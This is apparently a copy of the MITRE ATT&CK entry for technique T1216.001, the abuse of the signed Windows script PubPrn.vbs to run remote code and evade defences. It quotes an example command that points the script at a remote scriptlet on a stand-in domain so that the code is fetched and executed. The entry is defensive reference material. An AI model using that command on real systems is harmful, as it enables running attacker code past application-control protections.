T1216.001: PubPrn
Essential information
- MITRE technique ID
T1216.001- Confidence
- 100/100
- Revoked
- No
- Published
- 16/12/2025 19:37
- Modified
- 27/03/2026 01:08
- Author / Source
- The MITRE Corporation
Platforms
windows
Description
Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via `Cscript.exe`. For example, the following code publishes a printer within the specified domain: `cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com`.(Citation: pubprn)
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second `script:` parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is `pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct`. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), `PubPrn.vbs` has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to `LDAP://`, vice the `script:` moniker which could be used to reference remote code via HTTP(S).
Kill chain phases
| Kill chain | Phase |
|---|---|
| mitre-attack | defense-evasion |
Marking (TLP)
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